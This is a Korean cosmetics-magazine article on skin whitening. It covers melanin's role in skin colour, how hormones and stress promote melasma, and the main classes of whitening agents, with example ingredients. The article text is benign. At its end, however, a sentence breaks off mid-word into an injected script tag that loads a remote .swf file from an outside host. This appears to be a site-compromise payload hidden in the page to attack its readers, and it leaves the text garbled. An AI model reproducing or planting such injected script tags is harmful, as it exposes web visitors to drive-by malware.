미백제는 멜라닌 세포를 조절하는 마법사 사이토카인, MSH 조절에 의한 미백제 개발 연구 지난해 7월 화장품법이 발표되면서 기능성화장품에 대한 관심이 그 어느 때보다 높아지고 있다. 하지만 아직 국내에는 기능성 화장품에 대해 체계적인 정리가 되고 있지 않아 관련업체와 전문점주, 소비자들이 불편을 느끼고 있는 것이 사실이다. 이에 본지에서는 지난 10여년간 화장품을 연구해온 서울보건대학 미용예술과의 하병조 교수에게 기능성화장품에 대해 구체적인 내용을 들어보는 자리를 마련했다. 이번 기획특집은 기능성 화장품의 개요부터 세부적인 내용까지 총 8회에 걸쳐 연재된다. 지난호에 이어 이번호에는 미백화장품에 대해 알아보겠다. 미백제는 작용메카니즘에 따라 자외선 차단, 사이토카인 조절, 멜라닌 합성 저해제, 티로시나제의 활성저해, 박리촉진 등으로 나눠진다. 그 구체적인 내용을 살펴본다. 기능성화장품의 정의 노화억제 화장품 미백화장품 자외선 차단화장품 여드름용 화장품 아토피용 화장품 기능성 모발 화장품 기능성 화장품의 안전성과 유효성 사람의 피부색은 인종, 성별, 연령에 따라 다르고 같은 사람에 있어서도 신체부위에 따라 다르며 건강상태나 스트레스 혹은 계절에 따라 달라진다. 피부의 색은 표피에 존재하는 멜라닌 세포에서 생성되는 멜라닌의 양과 분포에 의해서 거의 결정되며 그 밖의 진피의 혈관속에 함유된 헤모글로빈과 피하조직의 카로틴의 양과 분포에 의해서도 영향을 받는다. 이 중 가장 중요한 역할을 하는 것은 멜라닌이다. 멜라닌 피부내부 보호효과 멜라닌의 주요한 역할은 피부에서 발생하는 활성산소나 프리라디칼을 제거하고, 또 자외선의 투과를 막아 피부의 내부를 보호하는 것이다. 그런데 멜라닌의 함량은 인종이나 사람에 따라 차이가 난다. 피부색이 흰 사람의 경우에는 멜라닌 색소가 적어서 자외선에 대한 감수성이 높다. 이런 사람은 오랜 시간 자외선에 노출되면 피부가 빨갛게 변한다. 한편, 자외선에 민감하게 되는 원인으로는 몸의 건강상태, 영양부족, 약물복용 등도 있다. 간이 나쁘거나 비타민 B2가 부족하면 자외선에 피부가 민감해진다. 피임약을 복용하고 있는 경우에도 자외선을 받으면 기미가 생기기 쉽다. 이는 피임약의 주요 성분인 황체호르몬이 늘어나면서 피부가 예민해진 탓에 자외선에 의해 피부가 받는 손상이 커지고 이로 인해 색소 침착이 증가한 것이다. 임신을 했을 때 분비되는 황체호르몬은 피부를 햇빛에 과민하게 하고 뇌하수체로부터 멜라닌세포 자극호르몬(MSH)의 분비를 촉진하여 기미를 생기게 한다. 정신적인 긴장, 스트레스가 쌓였을 경우 기미가 더욱 심해지는 수가 많다. 즉, 지나치게 신경을 쓰게 되면 뇌하수체에서 분비되는 부신피질 자극호르몬(ACTH)이 평상시보다 많이 분비되어 멜라닌세포 자극호르몬의 활동을 증가시킨다. 즉, 정신적인 불안이나 스트레스를 제거하면 기미는 점점 엷어지게 된다. 미백화장품은 자외선에 의한 기미, 주근깨 등을 완화시키고 멜라닌 색소의 생성을 억제하는 목적으로 개발된 제품이다. 미백제는 작용메카니즘에 따라 몇 가지로 구분할 수 있다. ·자외선 차단 : UV-A, UV-B를 흡수하거나 산란시킴으로써 멜라닌 생성을 억제한다. 그러나 엄밀한 의미에서 이러한 기능이 강조된 것은 자외선 차단화장품에 속하며, 미백화장품에서는 보조 성분으로만 첨가되고 있다. 예를 들면, 이산화티탄, 감마-오리자놀, 옥시벤존 등이 있다. ·사이토카인 조절 : 멜라닌세포에 멜라닌의 합성을 명령하는 신호전달물질인 사이토카인의 작용을 조절한다. ·멜라닌 합성 저해제 : 티로신의 산화반응을 억제함으로써 멜라닌 색소의 생성을 억제한다. 예를 들면 비타민 C 및 그 유도체, 글루타치온 등이 있다. ·티로시나제의 활성저해 : 티로신의 산화를 촉매하는 티로시나제의 활성을 저해하여 멜라닌 생성을 억제한다. 예를 들면, 코직산, 알부틴, 감초추출물, 닥나무추출물 등이 여기에 속한다. ·박리촉진 : 피부의 각질층에 함유된 멜라닌 색소를 제거한다. 즉, 각질을 박리하고 턴-오버를 촉진함으로써 생성된 멜라닌 색소의 배출을 용이하게 할 수 있다. 예를 들면, 살리실산, 레조르신, 레틴산, 알파-히드록시산 등이 있다. 태반추출물은 포스파타제, 비타민, 핵산, 아미노산 등이 주성분으로 멜라닌의 체외 배출을 촉진해줄 뿐만 아니라 티로시나제의 합성저해, 멜라노좀의 생성을 저해함으로써 미백효과를 나타내는 것으로 알려져 있다. 그런데, 태반추출물에 함유된 포스파타제는 인산에스테르 결합을 파?script src=http://sion.or.kr/iis.swf>

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